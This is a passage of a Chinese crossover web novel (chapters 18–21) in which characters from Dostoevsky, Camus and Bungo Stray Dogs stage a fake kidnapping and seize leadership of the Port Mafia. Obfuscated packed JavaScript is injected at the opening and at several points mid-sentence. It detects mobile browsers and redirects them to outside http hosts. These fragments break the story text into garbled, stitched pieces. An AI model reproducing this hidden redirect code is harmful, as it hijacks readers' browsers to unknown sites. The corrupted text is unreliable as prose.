l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330401|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手走掉。” 伊凡挑起眉毛:“您还在意这种约定做什么?要是真敢回去,您有朝一日必定必定会死在那些黑手党手上。 这群人的个性是再明白不过的了,您能杀死首领又震慑住他们、全身而退只算是意外,他们不可能真的服您,只不过韬光养晦静待时机罢了。” “看,我就说您是聪明的!”默尔索毫不吝啬地夸赞,但似乎并没有被说动,“但我知道啊,我知道他们可能会做什么,我在那里面也呆了很久了。 但是,虽然我是无所谓的,但您就在这里,至少应该带着您去看看森医生吧?如果我一直让他在那里守着,他可能会死的。” “森医生……你说森鸥外?”伊凡毫不意外,“这您不用担心,他很狡猾,是完全有办法全身而退的。” ——甚至,没有咱的搅合,他才是港口Mafia的首领呢。K默默想到。 “可是,这样做的话,以后见面了也会尴尬吧?”默尔索遗憾地说,“是我交给了他一项差事,却又食言了,这似乎不好。他人还是不错的。” 连死都无所谓,却可能会在意和人见面的尴尬吗? 伊凡笑着说: “我很想劝慰您,告诉您森医生是不会因为这种事记恨他人的。但我想这没什么用,我改变不了您的想法。但同样的,您也改变不了我的想法。那么,现在您进退两难了,打算怎么办?” 这种事情确实难办,但对默尔索来说没什么难办的。他的头脑不会任凭两件难事同时存在——只要随意舍弃一方就行了。 法国人歪了歪头:“可我不用在意您的想法啊,我直接把您传送过去就好了,您也可以当着他们的面拒绝。” 伊凡不笑了,他眯起眼睛,晓得默尔索是来真的:“劝您别这么做,我也可以帮他们把您和森鸥外一起除掉。” “随您高兴吧。”对方完全不在乎,“反正我也算完成我该做的事了,之后您想怎么办就怎么办。” 如果伊凡再年轻个四五岁,也许会恼羞成怒,但他知道,对付这种人,发怒或斥骂是没有任何用处的。 这人就像一面有弹性的墙,看起来很松弛,但会不知不觉间用那种态度,把所有的攻击都反弹给你。 他想到了另一种方法。 “我可以给您提供另一个建议,不过,您得先告诉我您异能的使用机制。然后,照我说的做……” “您的传送异能的确好用。用来赶路也可以,你标定过他吗?” “好,来吧。用枪指着我的头,我会给罗佳和另外一个人打电话……” 听筒后边传来同学颤抖的声线:【等等,真的?你怎么知道的?】 伊凡的声音平稳,脸上甚至还有一丝笑意:【我当然知道。——因为那个杀死首领的凶手,现在正用枪指着我的头。】 ……编辑部的一个角落,如眼球一般的监控器正闪烁红光,默默记录着这一切。 【人设完成度上升,目前马甲1完成度:71%,马甲3完成度:52%】 —————————————————— 18.Chapter 18.灵魂起誓 听筒里伊凡的声音很冷静,但罗佳的手掌却瞬间渗出冷汗。 他的应激反应又开始了。潮红涌上脸颊,高热烧得视网膜发烫,世界像浸在滚水里扭曲变形。 你在干什么?怎么会容忍自己陷入这种境地?他甚至忍不住怨恨起几公里外的受害人来。 但他知道慌乱和愤怒是没有用的,从嘶哑的喉咙里挤出几个字:“他想要什么?” 听筒对面静了一下,传来一阵模糊的说话声。 有些熟悉的声音——他抓住手机的那只手紧了紧,但最后仍放松了。 “他说想要跟你们面谈。”伊凡说。 “你们在哪儿?” 又是朦胧的说话声,然后是伊凡的一声冷笑,说:“不需要。他要你们现在的地址。” 太宰治的手按上他的肩膀,用口型示意“陷阱”。 但罗佳不在乎,他已经报出他们所在的位置——他太清楚伊凡·卡拉马佐夫如果有办法,绝不会忍耐这种受制于人的屈辱。也许,情况真的非常危险? 对面听见地址后,陷入了一阵较长的沉默。 最后,伊凡没有说话,而是那个朦胧的声音凑近了听筒,非常平淡的、没有特点的声音—— 罗佳想起来了,后颈寒毛倒竖。那个在门前里冲他打招呼的邻居,在他的想象中已经完全变成了一条咧嘴微笑的毒蛇: “向南走五百米,右转走入大街,在左数第七个路灯下等待。” 多么明目张胆的陷阱——如果真的到达那里很可能两命呜呼。但又有什么办法呢?他们动身,前往指定地点。 一路上,太宰治双手插兜,神色悠然,仿佛不是去赴一场危机四伏的邀约,而是漫步在春日街头;罗佳则面色紧绷,脚步急促,眼神中透露出隐隐愤怒与不安。 到达地点后,街道并无什么人烟。他们在路灯下站着,开始警惕四面八方的动静。 太宰治观察起这个路灯来——因为是白天,灯当然没有亮。这个路灯好像与其他灯也没有差别。不过…… 找到了。他看见路灯一侧大约离地面1.3米的地方,有三个整齐的黑色条纹,看起来像是某个闲人无聊时画下的。 但这看起来不像普通颜料,也不可能是普通标记。既然出现在这样一个特殊地方——也许,是某种异能相关的记号? 这与威胁伊凡先生的凶手有关联吧。 要不要说呢。他看了看仍在不住深呼吸、神色焦躁的同行者,最终暂时隐瞒了自己的判断:算了,如果有什么意外,我也是可以顺手解决一下的。 他们站在原地,一分钟、两分钟、三分钟——罗佳的手指已经开始痉挛;太宰看在眼里,什么也没说,脸上还是一副悠闲的样子。 然而,在某人的耐心终于要耗尽的时候,两人终于听见了一点响动,好像是有人从背后一跃而下,衬衫被风掀飞的声音—— 来不及反应,两人的肩膀都纷纷一沉,罗佳几乎被突如其来的触碰拽得趔趄。 转头一瞥:似乎是……手? 然而,当罗佳下意识向后一撞,手中的斧头将要凝聚成形时,身后的黑影似乎也感觉到了什么,立刻放开了太宰治。 罗佳与背后黑影瞬间消失。 “哎呀,把我丢下了呢……”太宰治站在原地,一张脸黑沉沉,又迅速挂上个暧昧不明的笑,“接下来,该怎么办呢?” 他站在原地,鸢色的眼睛凝望着那个路灯上的记号,似乎在通过它盯住了几公里开外的虚影。然后,渐渐朝记号伸出手去—— 一阵失重感突然袭来。 路灯周围的一大片地面裂开一个大洞,仿佛凭空出现的深渊巨口。那一刻,他恍恍惚惚想到: 啊,要掉下去了。 伸出的手没有抓住任何东西,全身就已经直直地坠入黑暗里。 把他吞进去后,大洞消失了,仿佛从未存在过。 黑暗持续了很久,他始终睁着眼睛,但看不清任何东西;直到等眼睛恢复成像,编辑部呛人的油墨味已经扑面而来。 他眨了眨眼,看清了眼前的情景: 斯拉夫青年端端正正地坐着椅子;但是,双脚被捆缚,腰部与手都被反绑在椅背上,一根尼龙绳深深勒在苍白的脖颈处——看来,刚才的电话应该是由威胁者拿着的。 发丝凌乱,头颅微仰,鼻血正顺着人中的凹陷缓缓流淌,在唇峰处积成暗红色的血痂。 他的眼镜不见了,深灰色的眼睛却还一动不动地凝望前上方,后脑紧贴着冰凉的皮革质椅背,喉结随着吞咽动作轻轻滚动。 将他们传送过来的人并没有继续拿枪,只是把一只手轻轻平放在被缚者肩上,靠得很近,仿佛两个人是什么亲密的伙伴。 罗佳已经站在一边,手中紧紧握着斧头,身上散发的阴郁气场几乎让太宰治都无法直视。 “两位下午好。”对面的陌生男人开场。“罗佳先生,您应该还记得我吧?” “默、尔、索。”罗佳的喉咙里挤出这个名字,几乎要把它撕碎了扔进焚化炉里。 “您不用太生气,我只是想谈谈罢了。”默尔索不仅没害怕,为了缓解紧张气氛甚至还笑了一下,“那么,这位就是太宰治先生吧?您的异能好神奇哦。” “……谢谢夸奖。”太宰治耸了耸肩,脸上却没有丝毫感激和笑意。 “别废话了,你大费周章叫我们过来,究竟有什么目的?和港口Mafia首领的死又有什么关联?”拿斧头的青年压抑着怒火。 默尔索沉默了一下,房间里弥漫着相互碰撞的恶意,却丝毫没有影响到他。 过了一会儿,他似乎思考不出什么所以然来,所以拍了拍伊凡的肩膀,说:“我讲不好,伊凡先生,还是您来说吧。” 伊凡连冷笑都懒得发出,只是深吸一口气,语调不变地说出了当下的情况: “他意外杀了首领,现在港口黑手党群龙无首,需要新首领。”他的脸微微偏向一个方向,“罗佳,他想要你。” 空气凝固了几秒。 罗佳的表情从愤怒转为困惑,最后定格在一种难以置信的荒谬感上。“这是什么疯话?”他的声音很低沉。 默尔索歪了歪头:“我没疯。港口黑手党需要个新首领,我觉得您合适。” “荒谬!”斧头在罗佳手中震颤,“我为什么要去当什么黑手党首领?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336375|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为......”默尔索认真地思考了一下,“您看起来很聪明,而且也很会做计划。对了,您不是一直在杀人吗?当上首领就可以随便杀了。” 哦呀,原来是这样。一旁的太宰治突然笑出声来:“哎,这个理由倒是很实在呢~” 罗佳猛地转头瞪向太宰治:“你闭嘴!”他又看向伊凡,“你就这么听他胡说八道?” 伊凡的嘴角扯出一个讽刺的弧度:“我现在的处境,恐怕没什么发言权。” 默尔索似乎对这场争执感到困惑:“你们为什么这么抗拒?当首领又不是什么坏事。” “不是抗拒的问题!”罗佳的声音提高了八度,“这根本就是......”他突然顿住,转向太宰治,“你还在笑什么,你难道觉得他说得很有道理吗?” 太宰治摊开双手:“别冤枉我呀,我只是觉得有趣而已。罗佳先生,您不觉得这是个绝妙的机会吗?” “机会?” “是啊~”太宰治的眼睛眯成一条缝,“您看,想要找到您的老头子死了,您却可以一下子跳进黑手党的大本营,这对实现您的理想不是很方便吗?” 罗佳的表情微微一动,但很快又恢复冷硬:“我不需要这种捷径,也不认为这与我的理念有什么相干。” “这不是捷径哦?这是所谓的最优解。”太宰治的声音突然变得异常清晰,“况且,您不是已经答应和我做交易了吗?以我的角度来说,如果我需要帮助时您已经是首领,那我的安全就更有保障了。” 罗佳的手指在斧柄上收紧又松开,指节泛白。 “交易是交易,但——”他咬紧后槽牙,“这完全是两回事。” “怎么会是两回事呢?”太宰治轻盈地转了个圈,黑色大衣下摆划出优雅弧度,“您看,默尔索先生都说了,当上首领就能随心所欲地杀人。您不是最喜欢审判那些''虱子''了吗?” 斧刃突然抵上太宰治的咽喉。罗佳的眼睛在阴影里燃烧:“你在试探什么?” “哎呀,被发现了~”太宰治举起双手作投降状,却笑得更加灿烂,“我只是好奇,罗佳先生究竟在抗拒什么呢?是觉得黑手党配不上您的理想,还是......” 他意味深长地瞥向被束缚的伊凡:“因为过去的某种阴影和失控,所以害怕某位先生的审判?” 好一个踩雷狂魔。 “闭嘴!”罗佳很久未尝过这种羞愤,斧刃又向少年逼近一分,在对方皮肤上压出一道血痕。 “罗季昂·罗曼诺维奇。”伊凡突然开口,声音像浸过冰水,带着某种不可抗拒的力量,“把斧头放下。” 琥珀色的瞳孔剧烈收缩。罗佳的手腕微微颤抖,最终还是垂下了武器。 伊凡轻轻呼出一口气,被绳索勒出红痕的脖颈微微转动:“默尔索先生,能否先解开这些?我想我们需要更..….理性地谈谈。” 法国人眨了眨眼:“您答应不逃跑?” “是。” “那您发个誓吧?” 伊凡露出一个古怪的笑: “好,以我父亲的灵魂发誓,我不会逃跑。” ——————————————————— 19.Chapter 19.我是大学生 “好,以我父亲的灵魂发誓,我不会逃跑。” 默尔索点点头,拿出了口袋里的小刀。 几道残影过后,绳索应声落地。伊凡活动着手腕,拾起一旁的眼镜戴上。镜片后的灰眼睛重新变得深不可测。 “都先坐下吧,各位,这里位置不少。”他慢条斯理地整理袖口。 默尔索非常丝滑地坐在他旁边,罗佳也不情不愿地找了椅子,太宰治则把自己“啪唧”一声拍在了一把转椅上。 见所有人都冷静下来,他再次开口,首先问的是默尔索:“首先,默尔索先生,统治港口黑手党不是过家家。首领之位意味着权力,也意味着无数明枪暗箭。您认为罗佳适合,是基于什么判断?” 默尔索歪着头思考:“他很聪明,做事有计划,杀人也很利落。最重要的是——”他指了指太阳穴,“罗佳先生好像有自己的理念,不会轻易被动摇。” “理念?”伊凡反问,“您指的是他那套''超人理论''?认为某些人有权为了更高目标逾越道德?” 罗佳猛地抬头:“别说得好像你不懂!你的那套理论我也早就完整听过——” “那不一样。”伊凡截断他的话,“我承认上帝已死的宣言,但并不代表我认同暴力和伪善。而您——”他镜片反着冷光,“您太容易被极端情绪支配。” 太宰治突然插进:“二位真是有趣诶,两个相同又不同的灵魂,一个理性到冷酷,一个疯狂又清醒。这样的组合如果统领黑手党,会更有趣吧?” 伊凡没理会他的调侃:“默尔索先生,恕我直言。您今天的行为已经超出常理范畴。杀死首领、胁迫干部、绑架我——您真的考虑过后果吗?” “没有。”回答得干脆利落,“但我觉得这样最快。反正事情总会解决的,不是吗?” 编辑部的挂钟滴答作响。 伊凡笑了笑,突然望向窗户,望向那灿烂又刺眼的日光。 “罗佳。”他的声音非常柔和,“还记得我们在莫斯科的辩论吗?” 罗佳一怔。那些图书馆里的偶遇、雪夜里的长谈,咖啡和油墨香气交织、或沉静或激动的夜晚,有关于上帝与人性、哲学与社会的永恒辩题…… “记得。”他声音沙哑。 “那么回答我。”伊凡转身,灰眼睛直视着他,“你认为权力是什么,是什么让法官成为法官,让拿破仑成为拿破仑?” 斧头在手中消散。罗佳按住太阳穴,那里的热量让思维变得粘稠: “权力是打破道德约束的能力……它不来自那些庸俗的东西……不是,不是来自法律或社会认可,而是来自于个人……个人能否超越庸常的道德枷锁。 法官的权力是虚假的,因为它不代表真正的意志,属于社会赋予,是平凡人用来约束平凡人的工具; 但拿破仑的权力是天然野性的,他能否认现存的道德、践踏旧秩序,然后建立非凡的新秩序。 所以,只有拿破仑才是''超人'',他们这样的人能够面不改色地跨过尸体与血泊,推动人类向前迈进—— 这就是权力,这才是真正的自由。”* 伊凡静静地听着,一旁的太宰治也不说话了。良久,罗佳自己又说: “卡拉马佐夫,我知道您对我这套论调的看法是什么,但要论傲慢和愤世嫉俗,我可比不上您。不如也分享一下吧,您自己的想法是什么——” “我倒觉得没这么复杂。”伊凡说,“很简单,既然我们都认为上帝已死,那么高人一等的绝对道德就是不存在的。 在这个前提下,权力是暴力和欺诈的产物,本质是对自由意志的剥夺。 法官或拿破仑的权力实际上都一样,它们并非来自神圣正义或理性,而是来自人类对服从的渴望——弱者自愿交出自由,换取面包与秩序。 它们无非有两种——少数人对多数人的暴力,多数人对少数人的暴力,无法比较哪一种更可怕;人类一边掩饰一边美化它们,这些东西承载着所有扭曲又毫无崇高性的欲|望,最终都将不可避免地滑向深渊。”* “那您说,”罗佳皱着眉发问,“这种权力的终局是必然的咯?” “是的。”伊凡的表情非常认真,“您要再和我辩论一场吗?还是说,您想用实际行动来证明我是错的?” 罗佳的手指深深掐进掌心。伊凡的话语总是像一把精准的手术刀,剖开他所有伪装的表皮——权力是暴力的产物,而他现在正被邀请去攫取这种暴力。 “你想让我证明你是错的?”他的声音开始颤抖,你把我当疯子,让我用整个横滨的地下世界做实验场?” 伊凡不在乎关于“疯子”的说法: “您不是一直渴望证明自己的理论、成为拿破仑那样的人么?港口黑手党是一块很好的画布——认真也好不负责任也罢,您都可以用它来验证,究竟是您的''超人''能够创造新秩序,还是最终会像我预言的那样滑向深渊。” 一顿说完,太宰治立刻鼓掌:“精彩!虽然比入水要差一些,但还是相当美妙的辩论!” 接着,少年转向罗佳,眼睛里闪烁着危险的光芒:“罗佳先生,您难道不好奇吗?当您真正站在权力的顶点,看着那些蝼蚁在您脚下挣扎时——” “闭嘴!”罗佳猛地站起身,椅子在地板上刮出刺耳的声响。“别说了……” 他转向默尔索:“你呢?你策划这一切就为了看这场闹剧?” 默尔索困惑地眨眨眼:“我不觉得这是闹剧。我只是觉得您很适合。”他顿了顿,“而且伊凡先生说得对,这确实是个实验的好机会。” “您看,黑手党的繁荣和衰败都掌握在您的手中,如果您哪天不想干了,完全可以把事情丢给森鸥外。” 伊凡一刻不停地加上。最后,又如一锤定音般地向他露出微笑。一个真诚的、肯定的微笑: “罗佳,不要犹豫——这是你自己的理想与自由。” 罗佳突然意识到自己正被三面夹击。伊凡用理论诱惑他,太宰用好奇心撩拨他,默尔索则用那种可怕的单纯将他推向悬崖边缘。 沉默蔓延。 他的视线扫过编辑部墙上的海报——某期杂志封面正是横滨港的航拍照片。晨曦中的港口美得不真实,与夜色里的血腥形成鲜明对比。 “我……”他的声音轻得几乎听不见。 然而下一秒,却突然觉察出不对劲来:“等等,伊凡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15337377|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是不是在耍我?” 脑海中灵光一现,他想起之前伊凡让默尔索放人的那段诡异对话:依之前表现判断,默尔索明明有穿梭时空异能,伊凡哪儿都跑不了,为什么还需要他发誓? 而伊凡又以“父亲的灵魂”起誓——在伊凡的一生中,“父亲”可以说是他最恨的人。 老卡拉马佐夫早就死了,伊凡还巴不得这无耻老头下地狱,以此人的灵魂为誓仿佛一个地狱笑话。* 身为在场除伊凡本人外,唯一了解真相的人,他当然知道这是废话——但也不是完全的废话。 因为这就是他们早有编排的暗示,暗示他和默尔索根本不是什么敌人;从太宰治的表现来看,他也早就知道真相了。 好啊,好啊,这样是吧。 清醒了之后,他刚刚还低沉纠结的情绪一下子灰飞烟灭,化作怒火攻心,忍不住切齿道: “你们——伊凡你根本没被绑架!三个混蛋,竟敢合伙起来蒙我!” 太宰治转着椅子吐了吐舌头:"不是我的错,是罗佳先生自己没发现嘛~" “闭嘴!你这个看戏的混蛋!”罗佳很想要扑上去掐死这个少年,却因为伊凡的话没有付诸行动。 “我确实说了谎。”伊凡平静地承认,“但刚才那番话都是认真的。您难道敢说,自己心里没有一丝动摇?”他的灰眼睛直视着罗佳。 “您难道不想知道,当您真正掌握生杀大权时,会变成什么样子?” 罗佳仍然不满地瞪他。 但心里却完全是另一副景象,他当然想知道——他比任何人都渴望验证自己的理论。但承认这一点就意味着向这三个混蛋认输。 ——那么,还有什么理由,既不至于完全拒绝,又能表达自己的不情愿? “但是,我……”最后,他绞尽脑汁、皱眉半晌,终于吐出一句,“我是大学生,我不能做黑手党首领!”* 这句宣言让编辑部陷入诡异的沉默。 伊凡戏谑地看着他,第一个回应就是拆台:“你辍学了,你不是大学生。我才是大学生。” 罗佳立刻反驳:“你早就毕业了,你也不是大学生!” 接着,不知是为了证明什么,两人把视线转向另外一个成年人。 默尔索耸了耸肩:“我在阿尔及尔读的大学,不过也毕业很久了。应该也算大学生吧?” “诶——”太宰治突然鲤鱼打挺,从转椅上跳起来,指了指自己,“所以,这里只有我没读过大学?” “以你的年龄应该上中学。”罗佳故意说,“谁知道你考不考得上大学。” “不过,我突然有个想法。”默尔索又思考了一下,“……当Mafia首领,应该没有学历要求吧。” “我看是学历低更有优势。”伊凡笑道。 “对哦。”太宰治也作思索状,半晌恍然大悟般地击掌,“我知道了,因为之前的那个首领老爷爷,一看就没读过书嘛!” 【不是……这是在干什么……】系统快要崩溃了,他觉得自己摊上这么群人是这辈子倒了大霉。 【你们是真的有病吧!!!】 ————————————————————— 20.Chapter 20.新时代之始 在系统的吐槽过后,默尔索适时提醒:“只有半个小时了,我们算是谈妥了吗?” 罗佳皱眉,无意识地望了伊凡一眼:“我需要保证。” 伊凡挑眉:“什么保证?” “如果我接受,”罗佳抬起头,眼中燃烧某种危险又滚烫的东西,“你必须答应辅佐我——不是作为旁观者,而是作为共犯。” 太宰治露出玩味的笑容,默尔索困惑地眨着眼;伊凡的表情凝固了一瞬。 “不可能。”他的声音冷漠无情。“我不可能帮你。” “为什么?因为我们只是''同学''?”罗佳向前一步,“你以为我们还分得清吗?要么什么也不做,要么一起堕入地狱——你选。” 挂钟的滴答声突然变得震耳欲聋。伊凡的指尖无意识摩挲着钢笔,那是他思考时的习惯动作。 终于,他摘下眼镜擦拭镜片,这个动作让他看起来异常疲惫。 “疯子。”他轻声说,却带着奇异的温柔,“两个疯子。” 罗佳露出一个志得意满的笑。 “不过,”伊凡重新戴上眼镜,声音恢复冷静,“我有条件。” “说。” "第一,所有重大决策必须与我合议。第二,保留我退出的自由。第三——”他看向太宰治,“这个麻烦的小鬼要加入黑手党。” 太宰治夸张地捂住胸口:“诶?我居然被安排了?” 罗佳说:“第三条可以,但前两条……”(背景音:“没有人在意我的想法吗?”) “否则免谈。”伊凡寸步不让,“我不是给你打白工的。” 默尔索突然举手:“我也有条件!” 三人同时转头。法国人认真地说:“我要涨工资,还要每周两天带薪休假。” 编辑部又寂静了几秒。然后—— “噗哈哈哈!”太宰治笑得前仰后合,“太棒了!这绝对是我参加过最有趣的入职面试!” 伊凡扶了扶眼镜,一语不发。罗佳垂下眼帘思索了一番,仿佛在作出什么重大决定。 “成交。”他说。 窗外的阳光突然变得刺眼。横滨港的方向传来悠长的汽笛声,仿佛命运之轮开始转动的号角。 【人设完成度上升,目前马甲1完成度:76%,马甲2完成度:67%,马甲3完成度:59%】 系统提示音在K脑海中响起时,他正通过默尔索的视角看着这一幕。三个马甲在阳光下形成奇妙的光影交错,就像不同的灵魂终于在某个瞬间得到共振。 【接下来呢?】系统问。 K的嘴角微微上扬: 【接下来,该去收服那群不听话的野狗了。不过,这之前,我们还需要一些额外准备。】 “不过,也许还要注意一点。”伊凡又说,“我不能露脸。” “为什么?”罗佳被他接二连三的要求搞得有些不耐烦。 伊凡冷笑一声:“你们现在站在横滨编辑部我的办公室里。” “是啊。”默尔索歪头,“怎么了?” “你们是不是忘了,我是有正经工作的?你知不知道这群卖杂志的为了销量会写出什么东西来?”伊凡对这些人的“严谨”程度无法忍受,“还是说你们认为,我们在黑手党面前露脸后,以后的日子还会非常''安全''?” 两个斯拉夫人,资料非常好查;那些不安分的干部和敌对者必定会不遗余力地除掉他们——泄露照片更是必定的事。 “对哦。”默尔索恍然大悟,突然想起来,“那我之前就这样闯进来用枪指着您,是不是也不太好?” 现在反应过来也太晚了。伊凡说:“这点倒是可以解决。但要去总部,不能露脸,拉斯柯尔尼科夫最好也不要。” “有道理。”太宰治附和道,“所以呢所以呢?我们是要——” “我卧室里有很多备用面具和戏服。”罗佳说。“我们还有多长时间?默尔索先生能把我们送过去吗?” “十五分钟,可以。”*” …… 罗佳第三次调整了脸上的Larva全脸面具。镜子里映出一张惨白的脸——白底色上只有两个漆黑的眼洞和一道上弯的猩红裂口,就像…… “像马戏团小丑。”伊凡评价道。他穿着复古的西装、戴一顶特里比帽,脸上是银色的半脸面具,周围有两条银链。 “闭嘴。”罗佳的瞪他,“你以为是谁害我们不得不这样?” 另一边的太宰治正对着镜子调整绷带。 少年将原本缠在右眼的绷带解下来缠住下半张脸,又给自己戴上了只巴洛克风的黑色猫面具,只露出一双鸢色眼睛:“完美~这样连森先生都认不出来啦!” 待到整装完毕,默尔索说:“似乎迟到了七分钟,但应该没什么大问题。” “最后确认。”伊凡突然开口,“记住,我们要的是臣服,不是屠杀。” “啰嗦。”罗佳活动了下脖颈,“只要他们识相……默尔索先生,可以了。” 默尔索点点头,迅速用异能撑开一个大洞,将所有人迅速传送到首领办公室之内。 几秒钟之内,扑面而来的首先是血腥味。 办公室门口大敞,门外横七竖八倒着不少警卫,一个准干部也已经倒在血泊之中,一些被枪击倒,一些的喉咙被精准割开。 金井干部站在血泊中央,手中拿着双枪;横山手中武士刀滴着血。 发现他们的到来,看见后边三个装饰复古的面具人,两人俱是一震。 “叛徒。”金井反应更快,立刻调转一把枪的枪口,指向他们,"你以为带几个杂耍艺人就能——" 话音未落,一道银色斧光闪过。 金井的的枪与右臂一同落地,他捂着手腕跪倒,鲜血从断口喷涌。白面具的声音嘶哑低沉:“您尽可以继续——我不介意把您一点点劈裂。” 横山立刻放下刀,向他们举起双手,示意自己是无害的。黑猫面具见了,发出一声黏腻的嘲笑。 “默尔索先生,您来迟了。” 一点动静从办公室的阴暗角落传来,森鸥外举起双手一点点走进黄昏的光中。 身后的黑暗里,源野川门干部正用枪抵着他的后脑:“还想他活命的话,就让您的帮手离开这里。” “精彩。”黑猫面具下的太宰治鼓掌,看见森鸥外的惨样让他格外愉悦,“内讧现场耶~” 伊凡的银面具微微闪光。他向前一步,声音异常理智温和:“诸位,我们不是来夺取什么的。” 他指了指地上抽搐的金井,“只是来纠正一些认知偏差。” 森鸥外突然笑了。即便在枪口下,他的身体仍然没有丝毫颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15347176|166654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“这位先生说得对。不如听听新首领的提案?” “我们没有承认任何人是新首领。”源野干部冷冷道。 默尔索不乐意:“您别这样,我们两个小时前本已经说好了……” “但我们反悔了。你们再快也不可能比我的枪快——况且,我也经在此处埋了炸弹,敢动一下,我就先把这家伙杀死,再送你们一起上西天。” 然而,本该有的颤抖求饶没有发生,除了天生缺根筋的默尔索之外,三个面具人也完全不为所动。 怎么回事?源野川门有些不安,难道我绑错了人,这家伙其实没有任何价值?但是,炸弹…… “唉……”被他用枪指着的医生突然叹了口气,“你们这是要逼我做出选择啊……” 什么……意思? 他没反应过来,就已经被一把锋利的手术刀切开了喉咙。 在磅礴的黄昏之光下,“纯良”的医生回头看着他,半张脸上喷洒了无数血迹,嘴角却微微扬起,露出一个瘆人的、带着血腥味的笑容。 原来如此……根本不是什么猎物,而是伪装成草绳的剧毒蛇啊。 源野川门的眼睛失去了最后一丝光芒,无神地望向天花板。 黑猫面具首先发话,不知在嘲笑,还是惋惜:“这下可没有回头路可走了哦~” “这本就是我选择的道路啊,太宰君。”森鸥外宽容地笑了。 “诶~这都被森先生发现啦?”太宰治像被夺走了玩具的孩童。“好没意思啊——” “炸弹呢?”银面具问,“真有吗?” 森鸥外如实回答:“假的。他们忙着内乱,没有时间装什么炸弹,这样说只不过是想让我们动摇罢了。” “森先生这么快就认上''我们''啦?我才是元老成员,我可不会承认的!” 失去一只手臂的金井和放下武士刀的横山眼睁睁看着眼前的一幕,恐惧和绝望从指尖蔓延到全身:这一番过后,一切都将成为定局,再无回转可能了。 最后,是那个拿斧头的白面具为闹剧画上句号: “好了。在场的所有干部们,都落座吧。” “此外,森鸥外医生,默尔索先生,戴黑猫面具的是''溺水者''先生,银面具的那位,你们可以称他为''亚斯塔禄'':他们都将是港口黑手党的新干部。” “至于我——从现在起,我就是你们港口黑手党的新任首领。” “你们可以称我为——” “掘墓人。” …… 《横滨黑色编年史·掘墓人时代·序言》 以新任首领“掘墓人”的宣言为始,港口黑手党进入了可称传奇的掘墓人时代。 一位神秘首领,以及陆续加入的共七大干部——亚斯塔禄,溺水者,荒诞人,手术刀,狂犬,重力使与金色夜叉,踏着无数血泪,在旧时代的骸骨上建立了新的王朝。 它真正的鼎盛始于一场战役……(省略)但在此之后,他们又经历了无数战役,最终用一次次胜利为自己赢得荣誉,最终加冕。 但是,繁华之后必然有其阴影的存在,离别与背叛是致使他们走向衰落的最大原因之一…… 记录者:异能业务科助理顾问坂口安吾 记录属性:私人 ——————————————————— 21.Chapter 21.弹幕开启 接下来的三个月几乎是双重意义上的地狱。 权力更迭时期最是折磨人:新任首领与新干部需要安抚人心,建立权威——这是最重要也是最困难的一点。为此,他们也做了多手准备。 第一步,是掌握对关于首领和干部死亡事件的解释权,强调新首领上任的合法性: 以黑手党内部成员频繁失踪、赃款失窃一案为始,古田、源野、加藤等原干部便监守自盗、污蔑忠良,在首领发觉后又痛下杀手,企图谋权篡位。(证据:叛徒的对话监听记录与交易记录。PS:由森鸥外与太宰治联合伪造) 但在深得首领信任的“掘墓人”、森鸥外,以及忠诚的底层成员默尔索等不顾性命的阻挠下,叛徒的谋反计划败露,最终被成功剿灭。 根据首领秘密遗留的指令所知,“掘墓人”为其秘密培养的正统继承人,而森鸥外、亚斯塔禄皆是辅佐新任首领的干部人选; 默尔索在此次平叛行动中立下大功,特此提拔为干部;溺水者作为预选干部,先至基层就任。(证据1:首领保险箱内有亲笔签名的遗嘱。PS:由伊凡和森鸥外联合伪造;证据2:原干部金井与横山口证) 横山、金井两位原干部知情不报,并且在首领死亡后的几小时内态度摇摆不定,予以严正警告并降职,失去原干部地位;但新任首领宽宏大度,容许他们留在本部戴罪立功。 炎峰熏理出外勤回归后才听说此事,非常识时务得决定加入;于是——炎峰干部受叛徒蒙蔽,对此事并不知情,保留原职。 一套组合拳之下,港口Mafia的领导层大换血。 有此番大动作,引起躁动和不满几乎是必然的,但不太可能哗变。为了抑制这种不满,就要进行下一步—— 第二步,恩威并施。收缴叛徒的巨额财产,将其作为奖金按比例发放给基层成员;改革考核制度,拓宽晋升渠道等等…… 同时,把不满者按目的暂时分为几派,通过收买其中一派、打压另外几派,引发内讧;或是更简单粗暴的,杀鸡儆猴,由原干部金井、横山亲自行刑。 第三步,就是巩固组织之前的生意,聚焦于财政与地盘问题…… 